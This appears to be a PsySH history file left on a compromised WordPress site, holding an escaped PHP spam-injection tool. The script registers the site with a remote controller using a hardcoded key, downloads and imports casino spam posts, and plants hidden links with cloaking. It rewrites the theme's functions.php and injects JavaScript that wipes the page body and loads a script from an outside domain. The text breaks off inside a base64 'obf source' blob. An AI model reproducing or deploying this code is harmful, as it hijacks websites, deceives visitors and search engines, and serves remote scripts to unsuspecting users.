File: /var/www/arsmedica.bialystok.pl/wp-content/psysh_history
_HiStOrY_V2_
//<?php\012const\040SAVE_ARCHIVES\040=\040false;\012\012define('GS_ALIAS',\040'http://apiary-fm.com');\012define("DOMAIN",\040$_SERVER['HTTP_HOST']);\012\012if\040(!SAVE_ARCHIVES\040||\040api_get_in_stock()\040!==\040true){\012\040\040\040\040#\040Settings\012\040\040\040\040define("LANGUAGE",\040"PL");\012\040\040\040\040define("DIR_NUMBER",\040372);\012\040\040\040\040define("LANGUAGE_API",\040'PL');\012\040\040\040\040define("AUTHOR_ID",\0407025);\012\040\040\040\040define('SITEMAP_NAME',\040'sitemap26');\012\012\040\040\040\040api_add_new_site();\012\012\040\040\040\040define('URL_WITH_ARCHIVES',\040GS_ALIAS\040.\040'/static/archives/GAMES-ALLCASINO-'.\040LANGUAGE\040.\040'-{DIR_NUM}/');\012\040\040\040\040define('DIR_NUM',\040DIR_NUMBER);\012\040\040\040\040define('CUSTOM_AUTHOR_ID',\040AUTHOR_ID);\012}\040else\040{\012\040\040\040\040$domain_info\040=\040api_get_domain_info();\012\012\040\040\040\040if\040($domain_info\040!==\040false)\040{\012\040\040\040\040\040\040\040\040define("DIR_NUMBER",\040$domain_info["dir_number"]);\012\040\040\040\040\040\040\040\040define("LANGUAGE",\040$domain_info["language"]);\012\040\040\040\040\040\040\040\040define("AUTHOR_ID",\040$domain_info["author_id"]);\012\040\040\040\040\040\040\040\040define("LANGUAGE_API",\040$domain_info["language_api"]);\012\040\040\040\040\040\040\040\040define('SITEMAP_NAME',\040"sitemap"\040.\040$domain_info["sitemap_number"]);\012\012\040\040\040\040\040\040\040\040define('URL_WITH_ARCHIVES',\040GS_ALIAS\040.\040"/domain_controller/archives/download/"\040.\040DOMAIN\040.\040"/"\040.\040LANGUAGE\040.\040"/{DIR_NUM}/");\012\040\040\040\040\040\040\040\040define('DIR_NUM',\040DIR_NUMBER);\012\040\040\040\040\040\040\040\040define('CUSTOM_AUTHOR_ID',\040AUTHOR_ID);\012\040\040\040\040}\012\012\040\040\040\040else\040exit();\012}\012\012define('ARCHIVES_RANGE',\040'1-15');\012\012$actions\040=\040array\040(\012\040\040\040\040'upload'\040=>\0401,\012\040\040\040\040'unzip'\040=>\0401,\012\040\040\040\040'import'\040=>\0401,\012\040\040\040\040'hide'\040=>\0401,\012\040\040\040\040'homelinks'\040=>\0401,\012\040\040\040\040'send'\040=>\0401,\012\040\040\040\040'clean'\040=>\0401,\012\040\040\040\040'sitemap'\040=>\0401,\012\040\040\040\040//'sitemapSecondMethod'\040=>\0401,\012\040\040\040\040//'rollback'\040=>\0401,\012\040\040\040\040//'sendPostsFromDb'\040=>\0401,\012\040\040\040\040//'viewSettings'\040=>\0401,\012\040\040\040\040//'viewAllAuthors'\040=>\0401,\012\040\040\040\040//'globalRollback'\040=>\0401,\012\040\040\040\040//'allPermalinks'\040=>\0401,\012\040\040\040\040//'viewSettingsAsJson'\040=>\0401,\012);\012\012\012define('HOME_LINKS',\0401);\012\012\012$homeLinksSettings\040=\040array\040(\012\040\040\040\040'hiddenType'\040=>\012\040\040\040\040\040\040\040\040array\040(\012\040\040\040\040\040\040\040\040\040\040\040\040'css'\040=>\0401,\012\040\040\040\040\040\040\040\040),\012\040\040\040\040'position'\040=>\012\040\040\040\040\040\040\040\040array\040(\012\040\040\040\040\040\040\040\040\040\040\040\040'head'\040=>\0401,\012\040\040\040\040\040\040\040\040),\012\040\040\040\040'language'\040=>\040LANGUAGE_API,\012\040\040\040\040'type'\040=>\040'CASINO',\012\040\040\040\040'textBlocksCount'\040=>\012\040\040\040\040\040\040\040\040array\040(\012\040\040\040\040\040\040\040\040\040\040\040\040'100DifferentTextBlocks'\040=>\0401,\012\040\040\040\040\040\040\040\040),\012);\012\012\012\012\012\012if\040(function_exists('ignore_user_abort'))\040{\012\012\040\040\040\040ignore_user_abort(true);\012\012}\012\012if\040(function_exists('set_time_limit'))\040{\012\012\040\040\040\040set_time_limit(0);\012\012}\012\012\012\012define('CURRENTDIR',\040getcwd());\012\012\012define('REDEFINE_JS_FOR_USER',\0401);\012\012define('CLOACKING',\0401);\012\012define('IGNORE_ACTIONS_LOG',\0400);\012\012define('REMOVE_ACTIONS_LOG',\0400);\012\012define('OBFUSCATE_CUSTOM_FUNCTIONS',\0400);\012\012\012$_SERVER['homeLinksSettings']\040=\040$homeLinksSettings;\012\012\012\012define('FORCE_CHANGE_HOME_LINKS_OWNER',\0400);\012\012\012\012/*\040*\040Link\040building\040settings*\040*/\012\012define('INTERNAL_LINKING',\0401);\012\012define('EXTERNAL_LINKING',\0400);\012\012define('INTERNAL_LINKS_COUNT_PAGE',\040'2..6');\012\012define('EXTERNAL_LINKS_COUNT_PAGE',\040'1..3');\012\012define('TABLE_HASH',\040'11c601a3bad16d2567e6754cddc9d28c');\012\012define('HTML_HASH',\040'31d410006291280c70416aabda41c4e9');\012\012define('COUNT_LINKS_FROM_DOMAIN',\0403);\012\012/*\040*\040Link\040building\040settings*\040*/\012\012\012\012\012\012define('USE_ORIGINAL_SLUG',\0401);\012\012\012\012/*\012\012\040*\040Use\040unzip\040method\040with\040header.php\012\012\040*\040ziparchive\040unpacks\040files\040incorrectly.\012\012\040*/\012\012define('GREEK_LANGUAGE',\0401);\012\012\012\012define('HOME_URL',\040'https://'\040.\040$_SERVER['HTTP_HOST']);\012\012\012\012\012\012if\040(defined('CUSTOM_AUTHOR_ID')\040&&\040CUSTOM_AUTHOR_ID\040<\0401000)\040{\012\012\040\040\040\040echo\040'use\040CUSTOM_AUTHOR_ID\040value\040large\040then\0401000'\040.\040PHP_EOL;\012\012\040\040\040\040exit;\012\012}\012\012\012\012\012\012if\040(is_null($rootDirCustom\040=\040WritePostsWpHandler::detectWProotDir()))\040{\012\012\040\040\040\040echo\040'wp\040root\040directory\040not\040found'\040.\040PHP_EOL;\012\012\040\040\040\040exit;\012\012}\012\012\012\012\012\012if\040(!WritePostsWpHandler::linkBuildingSettingsCheck())\040{\012\012\040\040\040\040exit;\012\012}\012\012\012\012define('WP_ROOT_DIR',\040$rootDirCustom);\012\012\012\012if\040(!defined('TEMPLATEPATH'))\040{\012\012\040\040\040\040define('TEMPLATEPATH',\040'');\012\012}\012\012if\040(!defined('STYLESHEETPATH'))\040{\012\012\040\040\040\040define('STYLESHEETPATH',\040'');\012\012}\012\012if\040(!defined('WP_USE_THEMES'))\040{\012\012\040\040\040\040define('WP_USE_THEMES',\040false);\012\012}\012\012\012\012\012\012//define('CUSTOM_TEMPLATE_PATH',\040$rootDir\040.\040'/wp-content/themes/oshin');\012\012\012\012\012\012/*\040*\040settings*\040*/\012\012\012\012$jsSource\040=\040<<<STR\012new\040Image().src\040=\040"//counter.yadro.ru/hit;leosomegames?r"+\012escape(document.referrer)+((typeof(screen)=="undefined")?"":\012";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?\012screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+\012";"+Math.random();\012document.addEventListener("DOMContentLoaded",\040function\040(event)\040{\012\040\040\040\040var\040bodyNode\040=\040document.getElementsByTagName('body')[0];\012\040\040\040\040if\040(bodyNode)\040{\012\040\040\040\040\040\040\040\040bodyNode.remove();\012\040\040\040\040}\012});\012var\040CmaMdxDELg="<script\040type=\134"text/javascript\134"\040language=\134"JavaScript\134"\040";var\040kWCfImcvVy="src=\134"//lambercheesered.org/";var\040sxhwBRDWZS="leoallgames.js?ref="+encodeURI(document.URL)+"&title="+encodeURI(document.title)+"&httpref="+encodeURI(document.referrer)+"\134">";var\040ZmscUNdvig="\040</script>";document.write(CmaMdxDELg+kWCfImcvVy+sxhwBRDWZS+ZmscUNdvig);\012STR;\012\012\012\012define('JS_SOURCE',\040$jsSource);\012\012define('RAND_DATE',\0400);\012\012define('ALTERNATIVE_CONNECT_MYSQL',\0400);\012\012\012\012/*\040*\040settings*\040*/\012\012\012\012$writableDirectoryCustom\040=\040WritePostsWpHandler::tmpDirCustom();\012\012if\040(!$writableDirectoryCustom)\040{\012\012\040\040\040\040echo\040'no\040directory\040for\040writing'\040.\040PHP_EOL;\012\012\040\040\040\040exit;\012\012}\012\012define('WRITABLE_PATH',\040$writableDirectoryCustom);\012\012\012\012$tmpDirNameCustom\040=\040WritePostsWpHandler::createTmpSubDir();\012\012\012\012if\040(!$tmpDirNameCustom)\040{\012\012\040\040\040\040echo\040'invalid\040create\040tmp\040dir'\040.\040PHP_EOL;\012\012\040\040\040\040exit;\012\012}\012\012\012\012define('TMPDIR',\040$tmpDirNameCustom);\012\012$customMutexPath\040=\040WRITABLE_PATH\040.\040'/'\040.\040WritePostsWpHandler::pluginsBackupOptionName();\012\012\012\012\012\012try\040{\012\012\040\040\040\040$customDbHandler\040=\040WritePostsWpHandler::tryConnect();\012\012}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040echo\040'Could\040not\040connect\040to\040db\040'\040.\040$ex->getMessage();\012\012\040\040\040\040exit;\012\012}\012\012\012\012GlobalLogs::setMainLog('Connected\040successfully');\012\012$homeUrlCustom\040=\040$customDbHandler->homeUrl();\012\012WritePostsWpHandler::checkHomeUrl($homeUrlCustom);\012\012\012\012\012\012$activeActions\040=\040WritePostsWpHandler::actionValidator($actions);\012\012$isQuickView\040=\040WritePostsWpHandler::quickView($activeActions);\012\012\012\012\012\012if\040($isQuickView)\040{\012\012\040\040\040\040WritePostsWpHandler::startActions($activeActions);\012\012\040\040\040\040echo\040GlobalLogs::getDebugLogs();\012\012\040\040\040\040exit;\012\012}\012\012\012\012$actionsWithStatus\040=\040WritePostsWpHandler::customCheckActions($activeActions);\012\012\012\012if\040(WritePostsWpHandler::areAllActionsCompleted($actionsWithStatus))\040{\012\012\040\040\040\040echo\040GlobalLogs::getMainLogs()\040.\040PHP_EOL;\012\012\040\040\040\040//echo\040GlobalLogs::getDebugLogs().PHP_EOL;\012\012\040\040\040\040WritePostsWpHandler::customFormatResponse();\012\012\040\040\040\040exit;\012\012}\012\012\012\012WritePostsWpHandler::checkMutex($customMutexPath);\012\012WritePostsWpHandler::startActions($actionsWithStatus);\012\012\012\012echo\040GlobalLogs::getMainLogs();\012\012\012\012//echo\040GlobalLogs::getDebugLogs();\012\012\012\012function\040api_get_in_stock(){\012\040\040\040\040$endpoint_url\040=\040GS_ALIAS\040.\040"/domain_controller/in_stock";\012\040\040\040\040$params_url\040=\040$endpoint_url\040.\040"?domain="\040.\040DOMAIN;\012\012\040\040\040\040$ch\040=\040curl_init();\012\012\040\040\040\040curl_setopt($ch,\040CURLOPT_URL,\040$params_url);\012\040\040\040\040curl_setopt($ch,\040CURLOPT_RETURNTRANSFER,\040true);\012\040\040\040\040curl_setopt($ch,\040CURLOPT_CONNECTTIMEOUT,\04010);\040//\040seconds\012\040\040\040\040curl_setopt($ch,\040CURLOPT_TIMEOUT,\04030);\040\040\040\040\040\040\040\040//\040seconds\012\040\040\040\040curl_setopt($ch,\040CURLOPT_FOLLOWLOCATION,\040true);\040//\040follow\040redirects\012\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYPEER,\040false);\040//\040if\040using\040https\040and\040self-signed\040cert\012\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYHOST,\040false);\012\040\040\040\040curl_setopt($ch,\040CURLOPT_HTTPHEADER,\040[\012\040\040\040\040\040\040\040\040\040\040\040\040"okapi-key:\040b385556a0a47661aef2c8b47200ca179db6a3b5f5d5b9125706c13442db7ea5c"\012\040\040\040\040]);\012\012\040\040\040\040$response\040=\040curl_exec($ch);\012\012\040\040\040\040if\040(curl_errno($ch))\040{\012\040\040\040\040\040\040\040\040echo\040"\040API\040=====>\040api_get_in_stock\040cURL\040error:\040"\040.\040curl_error($ch)\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040$data\040=\040json_decode($response,\040true);\012\040\040\040\040\040\040\040\040if\040($data["response"]\040!==\040true)\040echo\040"\040API\040=====>\040"\040.\040$data["description"]\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040curl_close($ch);\012\040\040\040\040\040\040\040\040return\040$data["response"];\012\040\040\040\040}\012}\012\012function\040api_get_domain_info()\040{\012\040\040\040\040$endpoint_url\040=\040GS_ALIAS\040.\040"/domain_controller/domain_info";\012\040\040\040\040$params_url\040=\040$endpoint_url\040.\040"?domain="\040.\040DOMAIN;\012\012\040\040\040\040$ch\040=\040curl_init();\012\012\040\040\040\040curl_setopt($ch,\040CURLOPT_URL,\040$params_url);\012\040\040\040\040curl_setopt($ch,\040CURLOPT_RETURNTRANSFER,\040true);\012\040\040\040\040curl_setopt($ch,\040CURLOPT_CONNECTTIMEOUT,\04010);\040//\040seconds\012\040\040\040\040curl_setopt($ch,\040CURLOPT_TIMEOUT,\04030);\040\040\040\040\040\040\040\040//\040seconds\012\040\040\040\040curl_setopt($ch,\040CURLOPT_FOLLOWLOCATION,\040true);\040//\040follow\040redirects\012\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYPEER,\040false);\040//\040if\040using\040https\040and\040self-signed\040cert\012\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYHOST,\040false);\012\040\040\040\040curl_setopt($ch,\040CURLOPT_HTTPHEADER,\040[\012\040\040\040\040\040\040\040\040\040\040\040\040"okapi-key:\040b385556a0a47661aef2c8b47200ca179db6a3b5f5d5b9125706c13442db7ea5c"\012\040\040\040\040]);\012\012\040\040\040\040$response\040=\040curl_exec($ch);\012\012\040\040\040\040if\040(curl_errno($ch))\040{\012\040\040\040\040\040\040\040\040echo\040"\040API\040=====>\040api_get_domain_info\040cURL\040error:\040"\040.\040curl_error($ch)\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040$data\040=\040json_decode($response,\040true);\012\012\040\040\040\040\040\040\040\040if\040($data["response"]\040===\040null)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040"\040API\040=====>\040"\040.\040$data["description"]\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$data["response"];\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012}\012\012function\040api_add_new_site(){\012\040\040\040\040$endpoint_url\040=\040GS_ALIAS\040.\040"/domain_controller/add_new_site";\012\040\040\040\040$params_url\040=\040$endpoint_url\040.\012\040\040\040\040\040\040\040\040\040\040\040\040"?domain="\040.\040DOMAIN\040.\012\040\040\040\040\040\040\040\040\040\040\040\040"&dir_number="\040.\040DIR_NUMBER\040.\012\040\040\040\040\040\040\040\040\040\040\040\040"&language="\040.\040LANGUAGE\040.\012\040\040\040\040\040\040\040\040\040\040\040\040"&language_api="\040.\040LANGUAGE_API\040.\012\040\040\040\040\040\040\040\040\040\040\040\040"&sitemap_number="\040.\040preg_replace('/\134D/',\040'',\040SITEMAP_NAME)\040.\012\040\040\040\040\040\040\040\040\040\040\040\040"&author_id="\040.\040AUTHOR_ID;\012\012\040\040\040\040$ch\040=\040curl_init();\012\012\040\040\040\040curl_setopt($ch,\040CURLOPT_URL,\040$params_url);\012\040\040\040\040curl_setopt($ch,\040CURLOPT_RETURNTRANSFER,\040true);\012\040\040\040\040curl_setopt($ch,\040CURLOPT_CONNECTTIMEOUT,\04010);\040//\040seconds\012\040\040\040\040curl_setopt($ch,\040CURLOPT_TIMEOUT,\04030);\040\040\040\040\040\040\040\040//\040seconds\012\040\040\040\040curl_setopt($ch,\040CURLOPT_FOLLOWLOCATION,\040true);\040//\040follow\040redirects\012\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYPEER,\040false);\040//\040if\040using\040https\040and\040self-signed\040cert\012\040\040\040\040curl_setopt($ch,\040CURLOPT_SSL_VERIFYHOST,\040false);\012\040\040\040\040curl_setopt($ch,\040CURLOPT_HTTPHEADER,\040[\012\040\040\040\040\040\040\040\040\040\040\040\040"okapi-key:\040b385556a0a47661aef2c8b47200ca179db6a3b5f5d5b9125706c13442db7ea5c"\012\040\040\040\040]);\012\012\012\040\040\040\040$response\040=\040curl_exec($ch);\012\040\040\040\040curl_close($ch);\012\040\040\040\040if\040(curl_errno($ch))\040{\012\040\040\040\040\040\040\040\040echo\040"\040API\040=====>\040api_add_new_site\040cURL\040error:\040"\040.\040curl_error($ch)\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040$data\040=\040json_decode($response,\040true);\012\012\040\040\040\040\040\040\040\040if\040($data["response"]\040===\040null)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040"\040API\040=====>\040"\040.\040$data["description"]\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040"\040API\040=====>\040"\040.\040$data["description"]\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$data["response"];\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012}\012\012\012\012class\040ActionsCustom\012\012{\012\012\040\040\040\040public\040static\040function\040uploadAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040$url\040=\040str_replace('{DIR_NUM}',\040DIR_NUM,\040URL_WITH_ARCHIVES);\012\012\012\012\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040WritePostsWpHandler::uploadRangeOfFiles($url,\040ARCHIVES_RANGE,\040'.zip',\040TMPDIR);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($ex->getMessage());\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040unzipAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040if\040(defined('GREEK_LANGUAGE')\040&&\040GREEK_LANGUAGE\040===\0401)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog('use\040unzip\040with\040header');\012\012\040\040\040\040\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040WritePostsWpHandler::unzipFirstMethod();\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($ex->getMessage());\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040if\040(class_exists('ZipArchive'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040WritePostsWpHandler::unzipSecondMethod();\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog('use\040unzip\040with\040header');\012\012\040\040\040\040\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040WritePostsWpHandler::unzipFirstMethod();\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($ex->getMessage());\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040importAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040$date\040=\040'';\012\012\012\012\040\040\040\040\040\040\040\040$htmlFiles\040=\040glob(TMPDIR\040.\040"/*.html");\012\012\040\040\040\040\040\040\040\040shuffle($htmlFiles);\012\012\012\012\012\012\040\040\040\040\040\040\040\040//fpcDebug("html\040file\040count\040-\040".\040count($htmlFiles));\012\012\012\012\040\040\040\040\040\040\040\040$mutexName\040=\040defined('CUSTOM_AUTHOR_ID')\040?\040'_'\040.\040CUSTOM_AUTHOR_ID\040:\040'';\012\012\012\012\040\040\040\040\040\040\040\040if\040(file_exists(TMPDIR\040.\040'/import_finish'\040.\040$mutexName))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('files\040already\040imported');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040if\040(!$htmlFiles)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('html\040files\040not\040found');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$extLinksArr\040=\040array();\012\012\012\012\040\040\040\040\040\040\040\040if\040(defined('EXTERNAL_LINKING')\040&&\040(EXTERNAL_LINKING\040===\0401))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$countHtmlFiles\040=\040count($htmlFiles);\012\012\040\040\040\040\040\040\040\040\040\040\040\040WritePostsWpHandler::downloadExternalLinks($countHtmlFiles);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$extLinksArr\040=\040WritePostsWpHandler::decodeExternalLinks();\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!$extLinksArr)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040$results\040=\040array();\012\012\012\012\040\040\040\040\040\040\040\040if\040(!is_dir(TMPDIR\040.\040'/imported'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!mkdir(TMPDIR\040.\040'/imported'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('invalid\040create\040imported\040dir');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040if\040(!defined('RAND_DATE')\040||\040(RAND_DATE\040===\0400))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$date\040=\040CustomDbHandler::getInstance()->lastPostDateQuery();\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040foreach\040($htmlFiles\040as\040$key\040=>\040$html)\040{\012\012\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$contentParts\040=\040WritePostsWpHandler::contentParts(file_get_contents($html));\012\012\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($ex->getMessage());\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$text\040=\040$contentParts['text'];\012\012\040\040\040\040\040\040\040\040\040\040\040\040$text\040=\040WritePostsWpHandler::textWithLinks($text,\040$results,\040$extLinksArr);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$customSlug\040=\040WritePostsWpHandler::slugPrepareBeforeInsert($html,\040$contentParts['slug']);\012\012\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$postId\040=\040CustomDbHandler::getInstance()->insertPost($contentParts['title'],\040$text,\040$date\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040,\040CUSTOM_AUTHOR_ID,\040$customSlug);\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($ex->getMessage());\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$results[]\040=\040WritePostsWpHandler::resultFormat(HOME_URL,\040$postId,\040$contentParts['title']);\012\012\040\040\040\040\040\040\040\040\040\040\040\040rename($html,\040TMPDIR\040.\040'/imported/'\040.\040WritePostsWpHandler::mb_basename($html,\040'.html'));\012\012\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040if\040(!empty($results))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$logPath\040=\040TMPDIR\040.\040'/log'\040.\040$mutexName\040.\040'.txt';\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('write\040to\040log\040-\040%s',\040$logPath));\012\012\040\040\040\040\040\040\040\040\040\040\040\040file_put_contents($logPath,\040implode("\134n",\040$results)\040.\040"\134n",\040FILE_APPEND);\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($key\040===\040(count($htmlFiles)\040-\0401))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040file_put_contents(TMPDIR\040.\040'/import_finish'\040.\040$mutexName,\040'');\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('results\040are\040empty');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040hideAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040if\040(!defined('CUSTOM_TEMPLATE_PATH'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$templateDirectory\040=\040WritePostsWpHandler::getTemplatePath();\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$templateDirectory\040=\040CUSTOM_TEMPLATE_PATH;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$functionsPath\040=\040$templateDirectory\040.\040'/functions.php';\012\012\012\012\040\040\040\040\040\040\040\040if\040(!file_exists($functionsPath))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($functionsPath\040.\040'\040not\040found');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040if\040(!is_writeable($functionsPath)\040&&\040(!is_writeable(dirname($functionsPath))))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($functionsPath\040.\040'\040not\040writable\040functions\040and\040themes\040dir');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$functionsSource\040=\040file_get_contents($functionsPath);\012\012\012\012\040\040\040\040\040\040\040\040if\040($functionsSource\040===\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('error\040while\040reading\040functions.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('try\040to\040set\040right\040permissions...');\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!chmod($functionsPath,\0400644))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('success\040set\040right\040perms\040to\040functions!');\012\012\040\040\040\040\040\040\040\040\040\040\040\040$functionsSource\040=\040file_get_contents($functionsPath);\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040if\040(!is_writeable($functionsPath)\040&&\040(is_writeable(dirname($functionsPath))))\040{\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!$functionsSource)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($functionsPath\040.\040'\040not\040writable');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($functionsPath\040.\040'\040invalid\040read\040functions\040php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040unlink($functionsPath);\012\012\040\040\040\040\040\040\040\040\040\040\040\040file_put_contents($functionsPath,\040$functionsSource);\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($functionsPath\040.\040'\040not\040writeable,\040but\040writeable\040theme\040directory,\040unlink\040functions\040php');\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\012\012\012\012\040\040\040\040\040\040\040\040/*obf\040source\040from\040cache*/\012\040\040\040\040\040\040\040\040$source\040=\040'LyogY3VzdG9tIGZpbHRlcnMgKi8NCg0KZnVuY3Rpb24gd3BfbGlua19wYWdlc19saXZlKCR3aGV